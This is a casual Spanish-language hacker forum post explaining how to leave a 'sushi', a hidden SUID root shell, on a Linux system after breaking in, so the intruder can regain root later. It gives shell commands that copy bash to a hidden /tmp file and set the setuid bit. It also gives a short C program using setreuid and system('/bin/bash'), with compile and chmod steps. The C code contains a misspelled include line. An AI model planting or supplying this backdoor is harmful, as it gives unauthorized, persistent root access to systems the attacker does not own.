que tal.
Pues aki me encuentro ( de nuevo ) en un cyber. Iba a trabajar y resulta que
iba un poko temprano ( se me fue la olla ) y nada, me he venido al cyber y
he entrado en el foro un ratillo ( logico no?? ).
Pues, si me da tiempo, voy a tratar de hacer un sushi o mochila para linux
con bash. Os preguntareis algunos.. y que k*** es eso del sushi?? que se nos
va a poner ahora el averno, a dar recetas de cocina japonesa???
Pues ya me molaria pero no. Un sushi o mochila es una Shell Suid ( de ahi
lo de sushi, kreo ). Komo ya sabremos, bash ( Bourne Again Shell ) va siendo
la mas implementada por defecto en nuestros sistemas linux gracias a su gran
flexibilidad.
Pues tratare de ser breve. Si resulta que entras en un S.O Linux ( ya se
juankeandolo o kon acceso directo ) y kieres dejar alguna trampilla, una shell
suid seria una de las mas tentadoras para asi poder korrer root la proxima vez
que entres.. Recordare que el bit setuid ( set userid ) se encuentra en varios pro-
gramas para poder llevar a cabo operaciones que solamente el root puede llevar,
pero ejecutandolas komo usuario normal. Es el kaso ( por ejemplo ) de
passwd: para poder kambiar nuestra password "passwd" 'debe' ser suid.
El kaso es que, si intentamos hacer una shell suid asi kon bash:
# cp /bin/bash /tmp/.shell
# cd /tmp
# chown root .shell && chgrp root .shell
# chmod a+s .shell /* aki le ponemos el bit suid

*/
# chmod a+x .shell
Bash no tragara y no nos dara root una vez que la ejecutemos komo usuario
normal.. Eso es, primero debemos ser/conseguir root para plantar la shell suid
que lo que hara es que kuando mas tarde entremos komo usuario normal, al ejecu-
tarla nos de autamaticamente r00t gracias al suid bit.
Bueno, pues me kedan 5 minutos para chapar ir al curro....
Pues lo que pasa es que Bash es una shell mas precavida y, a parte de mirar al bit
seteuid ( que es el que kambia al ejecutar un programa suid ) mira el bit suid
tambien. Aki expongo kom oenganiar a Bash para que nos de la shell suid sin
rechistar:
/* sushi.c */
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdlib.h>
#inlcude <stdio.h>
int main(void)
{
uid_t uid, euid;
uid = getuid();
euid = geteuid();
setreuid(euid, euid);
system("/bin/bash");
return 0;
}
Compilar este programa kon ( por ejemplo ):
# gcc -o sushi sushi.c
Tras kompilarlo, hacer lo siguiente:
# chmod a+s sushi
# chmod a+x sushi
Salir de root kon exit por ejemplo, y ahora komo usuario normal ejecutar
sushi. Sereis root automagicamente, ahora si.
El enganio komo veis es que, kon la syscall setreuid, definimos el uid y el euid
a 0 ( root ) justo antes de llamar a system("/bin/bash").
Perdon por la rapidez pero me las piro volando!!
Suerte.